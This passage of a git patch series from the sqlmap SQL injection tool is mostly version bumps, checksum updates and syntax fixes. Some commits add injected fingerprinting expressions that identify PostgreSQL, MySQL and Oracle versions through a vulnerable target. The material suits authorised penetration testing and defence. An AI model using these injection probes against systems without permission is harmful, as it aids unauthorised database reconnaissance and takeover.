INCLUDING BUT NOT LIMITED TO THE WARRANTIES +# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT +# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR +# OTHER DEALINGS IN THE SOFTWARE. + +from UserDict import DictMixin + +class OrderedDict(dict, DictMixin): + + def __init__(self, *args, **kwds): + if len(args) > 1: + raise TypeError('expected at most 1 arguments, got %d' % len(args)) + try: + self.__end + except AttributeError: + self.clear() + self.update(*args, **kwds) + + def clear(self): + self.__end = end = [] + end += [None, end, end] # sentinel node for doubly linked list + self.__map = {} # key --> [key, prev, next] + dict.clear(self) + + def __setitem__(self, key, value): + if key not in self: + end = self.__end + curr = end[1] + curr[2] = end[1] = self.__map[key] = [key, curr, end] + dict.__setitem__(self, key, value) + + def __delitem__(self, key): + dict.__delitem__(self, key) + key, prev, next = self.__map.pop(key) + prev[2] = next + next[1] = prev + + def __iter__(self): + end = self.__end + curr = end[2] + while curr is not end: + yield curr[0] + curr = curr[2] + + def __reversed__(self): + end = self.__end + curr = end[1] + while curr is not end: + yield curr[0] + curr = curr[1] + + def popitem(self, last=True): + if not self: + raise KeyError('dictionary is empty') + if last: + key = reversed(self).next() + else: + key = iter(self).next() + value = self.pop(key) + return key, value + + def __reduce__(self): + items = [[k, self[k]] for k in self] + tmp = self.__map, self.__end + del self.__map, self.__end + inst_dict = vars(self).copy() + self.__map, self.__end = tmp + if inst_dict: + return (self.__class__, (items,), inst_dict) + return self.__class__, (items,) + + def keys(self): + return list(self) + + setdefault = DictMixin.setdefault + update = DictMixin.update + pop = DictMixin.pop + values = DictMixin.values + items = DictMixin.items + iterkeys = DictMixin.iterkeys + itervalues = DictMixin.itervalues + iteritems = DictMixin.iteritems + + def __repr__(self): + if not self: + return '%s()' % (self.__class__.__name__,) + return '%s(%r)' % (self.__class__.__name__, self.items()) + + def copy(self): + return self.__class__(self) + + @classmethod + def fromkeys(cls, iterable, value=None): + d = cls() + for key in iterable: + d[key] = value + return d + + def __eq__(self, other): + if isinstance(other, OrderedDict): + if len(self) != len(other): + return False + for p, q in zip(self.items(), other.items()): + if p != q: + return False + return True + return dict.__eq__(self, other) + + def __ne__(self, other): + return not self == other \ No newline at end of file diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 9a6e944fbb2..e8d16c3cbb2 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -30,10 +30,10 @@ c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py -a929b8d7bb1ad777e882fa21d1795d98 lib/core/common.py +180f4f2863d45504ec0585ea72ee9924 lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py -00828c4455321b6987e3f882f4ef4f92 lib/core/datatype.py +f89512ef3ebea85611c5dde6c891b657 lib/core/datatype.py 3d547dedebef3be749cf38e4e798e120 lib/core/decorators.py 5f4680b769ae07f22157bd832c97cf8f lib/core/defaults.py 9dfc69ba47209a4ceca494dde9ee8183 lib/core/dicts.py @@ -50,10 +50,10 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -70d40f6779a871d6cd824aa8827426a8 lib/core/settings.py +af7e2a1ab764cbe6c47e81c09035ad81 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py -0a5b0a97a36c19022665f66858fd7450 lib/core/target.py +d9483455ff80d33a55db46ae2fa34a05 lib/core/target.py 7857b24b7865ccb4a05283faa596974d lib/core/testing.py 5c369aefa7c5af85dee9212acdf94bbc lib/core/threads.py 2c263c8610667fdc593c50a35ab20f57 lib/core/unescaper.py @@ -70,9 +70,9 @@ fb6be55d21a70765e35549af2484f762 lib/parse/__init__.py adcecd2d6a8667b22872a563eb83eac0 lib/parse/payloads.py 993104046c7d97120613409ef7780c76 lib/parse/sitemap.py e4ea70bcd461f5176867dcd89d372386 lib/request/basicauthhandler.py -b23163d485e0dbc038cbf1ba80be11da lib/request/basic.py +bd4b654767eab19cd4dcd4520a68eed5 lib/request/basic.py fc25d951217077fe655ed2a3a81552ae lib/request/comparison.py -1ffa945c2f907b85a3ece90fb3c60d4f lib/request/connect.py +e6792ea3cdbcbe17a7fa8cf856d2b956 lib/request/connect.py 43005bd6a78e9cf0f3ed2283a1cb122e lib/request/direct.py 2b7509ba38a667c61cefff036ec4ca6f lib/request/dns.py ceac6b3bf1f726f8ff43c6814e9d7281 lib/request/httpshandler.py @@ -101,7 +101,7 @@ fb6be55d21a70765e35549af2484f762 lib/techniques/error/__init__.py fb6be55d21a70765e35549af2484f762 lib/techniques/__init__.py fb6be55d21a70765e35549af2484f762 lib/techniques/union/__init__.py 54d077ef49056031fe746bcc53b1f081 lib/techniques/union/test.py -e141fb96f2a136bafd6bb2350f02d33b lib/techniques/union/use.py +664f79ca6397e880aee143fff721fa67 lib/techniques/union/use.py 8e9ddc7220f6beda89cc45c65e51e72b lib/utils/api.py 544dee96e782560fe4355cbf6ee19b8c lib/utils/brute.py b27421eb57cea711050135f84be99258 lib/utils/crawler.py @@ -358,8 +358,8 @@ d41d8cd98f00b204e9800998ecf8427e thirdparty/magic/__init__.py bf318e0abbe6b2e1a167a233db7f744f thirdparty/magic/magic.py d41d8cd98f00b204e9800998ecf8427e thirdparty/multipart/__init__.py 82432cb4ef575aa16900ba221cc1dc98 thirdparty/multipart/multipartpost.py -3e502b04f3849afbb7f0e13b5fd2b5c1 thirdparty/odict/__init__.py -74048dca0470bc78af73f0aafccfd069 thirdparty/odict/odict.py +0a0a5f8f5519cf9dd2c5120f62aabe83 thirdparty/odict/__init__.py +8d8f91e1d87cb301fdb50db79dfe4d48 thirdparty/odict/ordereddict.py 0105f1734f326704d2d68839084ca661 thirdparty/oset/_abc.py 54a861de0f08bb80c2e8846579ec83bd thirdparty/oset/__init__.py 6c79e6d14e031beebe6de127b53c7c93 thirdparty/oset/pyoset.py From 662a3c3d6fbfc3582ce6d20af01822521b477a45 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Mon, 11 Mar 2019 15:25:16 +0100 Subject: [PATCH 141/800] Minor update --- lib/core/settings.py | 2 +- thirdparty/beautifulsoup/beautifulsoup.py | 4 ++-- thirdparty/clientform/clientform.py | 2 +- txt/checksum.md5 | 6 +++--- 4 files changed, 7 insertions(+), 7 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index f8fc002fff3..d4044ad2d77 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.16" +VERSION = "1.3.3.17" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/beautifulsoup/beautifulsoup.py b/thirdparty/beautifulsoup/beautifulsoup.py index d81d915248a..859cc44d33d 100644 --- a/thirdparty/beautifulsoup/beautifulsoup.py +++ b/thirdparty/beautifulsoup/beautifulsoup.py @@ -559,7 +559,7 @@ def __init__(self, parser, name, attrs=None, parent=None, self.escapeUnrecognizedEntities = parser.escapeUnrecognizedEntities # Convert any HTML, XML, or numeric entities in the attribute values. - convert = lambda(k, val): (k, + convert = lambda k, val: (k, re.sub("&(#\d+|#x[0-9a-fA-F]+|\w+);", self._convertEntities, val)) @@ -1828,7 +1828,7 @@ def _convertFrom(self, proposed): "iso-8859-1", "iso-8859-2"): markup = re.compile("([\x80-\x9f])").sub \ - (lambda(x): self._subMSChar(x.group(1)), + (lambda x: self._subMSChar(x.group(1)), markup) try: diff --git a/thirdparty/clientform/clientform.py b/thirdparty/clientform/clientform.py index 20feafd2f6c..abff2cd7515 100644 --- a/thirdparty/clientform/clientform.py +++ b/thirdparty/clientform/clientform.py @@ -290,7 +290,7 @@ def isstringlike(x): def choose_boundary(): """Return a string usable as a multipart boundary.""" # follow IE and firefox - nonce = "".join([str(random.randint(0, sys.maxint-1)) for i in 0,1,2]) + nonce = "".join([str(random.randint(0, sys.maxint-1)) for i in (0,1,2)]) return "-"*27 + nonce # This cut-n-pasted MimeWriter from standard library is here so can add diff --git a/txt/checksum.md5 b/txt/checksum.md5 index e8d16c3cbb2..f34683a38b0 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -af7e2a1ab764cbe6c47e81c09035ad81 lib/core/settings.py +d6314e6d993f8d858c158f05fe5db3dd lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py d9483455ff80d33a55db46ae2fa34a05 lib/core/target.py @@ -297,7 +297,7 @@ fc571c746951a5306591e04f70ddc46e tamper/versionedmorekeywords.py d39ce1f99e268dc7f92b602656f49461 tamper/xforwardedfor.py b1c02296b4e3b0ebaa58b9dcd914cbf4 thirdparty/ansistrm/ansistrm.py d41d8cd98f00b204e9800998ecf8427e thirdparty/ansistrm/__init__.py -7abd52c4381afd8ac07d5978c8897c2b thirdparty/beautifulsoup/beautifulsoup.py +87e30550efec58d857da6c69930cd466 thirdparty/beautifulsoup/beautifulsoup.py cb2e1fe7c404dff41a2ae9132828f532 thirdparty/beautifulsoup/__init__.py ff54a1d98f0ab01ba7b58b068d2ebd26 thirdparty/bottle/bottle.py 4528e6a7bb9341c36c425faf40ef32c3 thirdparty/bottle/__init__.py @@ -339,7 +339,7 @@ ee25f2a03587e2c283eab0b36c9e5783 thirdparty/chardet/sbcsgroupprober.py c9349824f2647962175d321cc0c52134 thirdparty/chardet/sjisprober.py bcae4c645a737d3f0e7c96a66528ca4a thirdparty/chardet/universaldetector.py 6f8b3e25472c02fb45a75215a175991f thirdparty/chardet/utf8prober.py -1dd9a97cef4c8e7da7082c1f0518a19b thirdparty/clientform/clientform.py +be496c4cf7e3eff945d33de5051ac57d thirdparty/clientform/clientform.py 722281d87fb13ec22555480f8f4c715b thirdparty/clientform/__init__.py 0b625ccefa6b066f79d3cbb3639267e6 thirdparty/colorama/ansi.py 7ec474bef2432a1b45001bb87f2ab25f thirdparty/colorama/ansitowin32.py From 9da489a7de7855ea25bd37e29b64fe5e89b7f2a5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Tue, 12 Mar 2019 11:05:27 +0100 Subject: [PATCH 142/800] Minor naming update --- lib/core/enums.py | 2 +- lib/core/settings.py | 2 +- txt/checksum.md5 | 6 +++--- xml/livetests.xml | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/lib/core/enums.py b/lib/core/enums.py index c572d10d69a..5299a239e79 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -252,7 +252,7 @@ class PAYLOAD: 2: "error-based", 3: "inline query", 4: "stacked queries", - 5: "AND/OR time-based blind", + 5: "time-based blind", 6: "UNION query", } diff --git a/lib/core/settings.py b/lib/core/settings.py index d4044ad2d77..2f5b0a6c93c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.17" +VERSION = "1.3.3.18" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index f34683a38b0..bac0e7c1510 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -38,7 +38,7 @@ f89512ef3ebea85611c5dde6c891b657 lib/core/datatype.py 5f4680b769ae07f22157bd832c97cf8f lib/core/defaults.py 9dfc69ba47209a4ceca494dde9ee8183 lib/core/dicts.py 4ba141124699fd7a763dea82f17fe523 lib/core/dump.py -1226fed38d1175aee8907e31ddf0cab2 lib/core/enums.py +347817fbbb35b245b762dd7ee8a47fe7 lib/core/enums.py 84ef8f32e4582fcc294dc14e1997131d lib/core/exception.py fb6be55d21a70765e35549af2484f762 lib/core/__init__.py 18c896b157b03af716542e5fe9233ef9 lib/core/log.py @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -d6314e6d993f8d858c158f05fe5db3dd lib/core/settings.py +a668a19d79ebd1048c60b4a47c0abc1d lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py d9483455ff80d33a55db46ae2fa34a05 lib/core/target.py @@ -493,7 +493,7 @@ d989813ee377252bca2103cea524c06b xml/banner/sharepoint.xml ccb5e02a692f75d11b7fd00f1db48bf5 xml/banner/x-powered-by.xml 385570003bf7d84f2502191eae8268c6 xml/boundaries.xml 4df7176815d874cf99649201caf10642 xml/errors.xml -a279656ea3fcb85c727249b02f828383 xml/livetests.xml +e2b842d6cda0fb007211656a037dd277 xml/livetests.xml 11547289b99eaced5b55185a3230529a xml/payloads/boolean_blind.xml 0656ba4132cd02477be90e65a7ddf6ce xml/payloads/error_based.xml 06b1a210b190d52477a9d492443725b5 xml/payloads/inline_query.xml diff --git a/xml/livetests.xml b/xml/livetests.xml index c6253e14574..06b8bc4cc6b 100644 --- a/xml/livetests.xml +++ b/xml/livetests.xml @@ -3320,7 +3320,7 @@ <timeSec value="2"/> </switches> <parse> - <item value="Type: AND/OR time-based blind"/> + <item value="Type: time-based blind"/> <item value="Title: MySQL < 5.0.12 AND time-based blind (heavy query)"/> </parse> </case> From 49c1816f02413757f12a9188517b9fa0a9354216 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Tue, 12 Mar 2019 11:45:48 +0100 Subject: [PATCH 143/800] Trivial update --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 6242ad4c877..fd402183739 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3140,7 +3140,7 @@ def initTechnique(technique=None): for key, value in kb.injection.conf.items(): if value and (not hasattr(conf, key) or (hasattr(conf, key) and not getattr(conf, key))): setattr(conf, key, value) - debugMsg = "resuming configuration option '%s' (%s)" % (key, value) + debugMsg = "resuming configuration option '%s' (%s)" % (key, ("'%s'" % value) if isinstance(value, basestring) else value) logger.debug(debugMsg) if value and key == "optimize": diff --git a/lib/core/settings.py b/lib/core/settings.py index 2f5b0a6c93c..e5388546d6e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.18" +VERSION = "1.3.3.19" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index bac0e7c1510..1ad9bc6221e 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -30,7 +30,7 @@ c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py -180f4f2863d45504ec0585ea72ee9924 lib/core/common.py +bebd1593691dd465304e09a9b1c62a71 lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py f89512ef3ebea85611c5dde6c891b657 lib/core/datatype.py @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -a668a19d79ebd1048c60b4a47c0abc1d lib/core/settings.py +8e1f479a6fbdb455b46ec853546edb96 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py d9483455ff80d33a55db46ae2fa34a05 lib/core/target.py From 384f0b69ecdad13b943176dab769f0bb73453c9a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Tue, 12 Mar 2019 12:24:11 +0100 Subject: [PATCH 144/800] Going to try updates to pypi push procedure --- extra/shutils/pypi.sh | 3 ++- lib/core/settings.py | 2 +- txt/checksum.md5 | 2 +- 3 files changed, 4 insertions(+), 3 deletions(-) diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh index 20ecbd75f91..579aefa3fb8 100755 --- a/extra/shutils/pypi.sh +++ b/extra/shutils/pypi.sh @@ -26,7 +26,8 @@ setup( name='sqlmap', version='$VERSION', description='Automatic SQL injection and database takeover tool', - long_description='sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.', + long_description=open('README.rst').read(), + long_description_content_type='text/x-rst', author='Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar', author_email='bernardo@sqlmap.org, miroslav@sqlmap.org', url='http://sqlmap.org', diff --git a/lib/core/settings.py b/lib/core/settings.py index e5388546d6e..c906e942793 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.19" +VERSION = "1.3.3.20" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 1ad9bc6221e..90dddc9c740 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -8e1f479a6fbdb455b46ec853546edb96 lib/core/settings.py +ff135def79c78741e3c87455159871f3 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py d9483455ff80d33a55db46ae2fa34a05 lib/core/target.py From 77e13838551b97e418121911db52ef78b915a317 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Tue, 12 Mar 2019 12:26:38 +0100 Subject: [PATCH 145/800] Minor patch --- extra/shutils/pypi.sh | 2 +- lib/core/settings.py | 2 +- txt/checksum.md5 | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh index 579aefa3fb8..f96bc2d4f89 100755 --- a/extra/shutils/pypi.sh +++ b/extra/shutils/pypi.sh @@ -159,7 +159,7 @@ Links - User's manual: https://github.com/sqlmapproject/sqlmap/wiki - Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -- Twitter: [@sqlmap](https://twitter.com/sqlmap) +- Twitter: https://twitter.com/sqlmap - Demos: http://www.youtube.com/user/inquisb/videos - Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/lib/core/settings.py b/lib/core/settings.py index c906e942793..dc70dfff361 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.20" +VERSION = "1.3.3.21" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 90dddc9c740..9b212abcc11 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -ff135def79c78741e3c87455159871f3 lib/core/settings.py +2b13a6e41ad1b354ff2a3f60a6fba723 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py d9483455ff80d33a55db46ae2fa34a05 lib/core/target.py From 136342231e3538e7b566fc224f8537f553a0ec2e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Tue, 12 Mar 2019 14:10:34 +0100 Subject: [PATCH 146/800] Minor update of fingerprints --- lib/core/settings.py | 2 +- plugins/dbms/mysql/fingerprint.py | 8 ++++---- plugins/dbms/postgresql/fingerprint.py | 6 ++++-- txt/checksum.md5 | 6 +++--- 4 files changed, 12 insertions(+), 10 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index dc70dfff361..f7996977308 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.21" +VERSION = "1.3.3.22" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index e6b69397a70..123a401bed2 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -45,11 +45,11 @@ def _commentCheck(self): (32300, 32359), # MySQL 3.23 (40000, 40032), # MySQL 4.0 (40100, 40131), # MySQL 4.1 - (50000, 50096), # MySQL 5.0 - (50100, 50172), # MySQL 5.1 + (50000, 50097), # MySQL 5.0 + (50100, 50174), # MySQL 5.1 (50400, 50404), # MySQL 5.4 - (50500, 50564), # MySQL 5.5 - (50600, 50644), # MySQL 5.6 + (50500, 50562), # MySQL 5.5 + (50600, 50646), # MySQL 5.6 (50700, 50726), # MySQL 5.7 (60000, 60014), # MySQL 6.0 (80000, 80015), # MySQL 8.0 diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 13867fd9da0..e7deefb17a5 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -97,8 +97,10 @@ def checkDbms(self): infoMsg = "actively fingerprinting %s" % DBMS.PGSQL logger.info(infoMsg) - if inject.checkBooleanExpression("XMLTABLE(NULL) IS NULL"): - Backend.setVersion(">= 10.0") + if inject.checkBooleanExpression("SHA256(NULL) IS NULL"): + Backend.setVersion(">= 11.0") + elif inject.checkBooleanExpression("XMLTABLE(NULL) IS NULL"): + Backend.setVersionList([">= 10.0", "< 11.0"]) elif inject.checkBooleanExpression("SIND(0)=0"): Backend.setVersionList([">= 9.6.0", "< 10.0"]) elif inject.checkBooleanExpression("TO_JSONB(1) IS NOT NULL"): diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 9b212abcc11..7cfa865fa0b 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -2b13a6e41ad1b354ff2a3f60a6fba723 lib/core/settings.py +a6370a4c60104413c514c021f8409a44 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py d9483455ff80d33a55db46ae2fa34a05 lib/core/target.py @@ -181,7 +181,7 @@ a5aa91bd7248d4f7ad508cf69f45696d plugins/dbms/mssqlserver/takeover.py dbd6121fcc92249ee0c023ee28e30274 plugins/dbms/mysql/connector.py a94bde2f4dcf3a5f166302d07ea32907 plugins/dbms/mysql/enumeration.py 81c762ceba0892d0d6d78d70f513d20a plugins/dbms/mysql/filesystem.py -fd79ec2504b6bada7d2da233a549af53 plugins/dbms/mysql/fingerprint.py +24088cb4e6f163b4eaf9310a7bc6907d plugins/dbms/mysql/fingerprint.py 040835bde6be85ebc1a6667dcd08940e plugins/dbms/mysql/__init__.py dd6bd1d3d561755b96e953ede16cb8fc plugins/dbms/mysql/syntax.py 6c91ef5b5a6cd29cef4bd9bc3c369454 plugins/dbms/mysql/takeover.py @@ -195,7 +195,7 @@ c7bb3f112aad2ea7ea92e036e9aab6a7 plugins/dbms/oracle/__init__.py 393a17dc8cb982ebb27665ead6b84bf1 plugins/dbms/postgresql/connector.py 86f0e0c9c4bc155c93277e879e3c3311 plugins/dbms/postgresql/enumeration.py d68b5a9d6e608f15fbe2c520613ece4a plugins/dbms/postgresql/filesystem.py -2af014c49f103cb27bc547cc12641e2b plugins/dbms/postgresql/fingerprint.py +a2ac0498d89797041bf65e4990cf8430 plugins/dbms/postgresql/fingerprint.py fb018fd23dcebdb36dddd22ac92efa2c plugins/dbms/postgresql/__init__.py 290ea28e1215565d9d12ede3422a4dcf plugins/dbms/postgresql/syntax.py 339bc65824b5c946ec40a12cd0257df1 plugins/dbms/postgresql/takeover.py From eb62397c92f151196c4ac0e34eea4e3952b8523a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Tue, 12 Mar 2019 14:12:23 +0100 Subject: [PATCH 147/800] Minor update of Oracle fingerprinting --- lib/core/settings.py | 2 +- plugins/dbms/oracle/fingerprint.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index f7996977308..de38f06682b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.22" +VERSION = "1.3.3.23" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index 3cf07e69716..29d35296a41 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -103,7 +103,7 @@ def checkDbms(self): logger.info(infoMsg) # Reference: https://en.wikipedia.org/wiki/Oracle_Database - for version in ("12c", "11g", "10g", "9i", "8i"): + for version in ("18c", "12c", "11g", "10g", "9i", "8i"): number = int(re.search(r"([\d]+)", version).group(1)) output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 